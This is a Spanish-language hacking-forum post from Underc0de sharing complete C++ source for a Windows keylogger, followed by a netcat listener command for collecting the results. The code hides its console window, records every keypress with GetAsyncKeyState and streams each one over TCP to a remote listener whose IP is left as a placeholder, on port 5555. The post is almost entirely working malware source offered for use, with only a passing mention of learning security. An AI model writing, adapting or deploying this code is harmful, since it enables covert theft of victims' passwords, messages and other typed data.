Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: Lautaro Villarreal Culic' en Mayo 10, 2021, 02:50:20 AM

Título: Keylogger en c++
Publicado por: Lautaro Villarreal Culic' en Mayo 10, 2021, 02:50:20 AM
Hola muchachos, estoy repasando algunas cosas en C++ enfocado a la seguridad informática en general y me parece una buena idea dejarles el código de un Keylogger muy simple :D


#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int main(){

    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY;

    WSADATA WSAData;
    SOCKET server;
    SOCKADDR_IN addr;


    WSAStartup(MAKEWORD(2, 0), &WSAData);
    server = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_addr.s_addr = inet_addr("IP DEL SERVIDOR"); //IP DEL SERVIDOR (Oyente).
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5555); //Puerto de comunicación.
    connect(server, (SOCKADDR *)&addr, sizeof(addr));


        while(true){
            Sleep(10);
            for (int KEY = 0x8; KEY < 0xFF; KEY++){
               
                if (GetAsyncKeyState(KEY) == -32767){

                        char buffer[2];
                        buffer[0] = KEY;
                        send(server, buffer, sizeof(buffer), 0);
                }
            }
        }

        closesocket(server);
        WSACleanup();
}



EDIT:
Y si se preguntan... ok, pongo mi IP y el puerto está en el 5555. Como veo las pulsaciones?
Pueden hacerlo con netcat.
En linux, escriben el comando

sudo nc -lvp 5555

Y dejan la sesión abierta.

Saludos!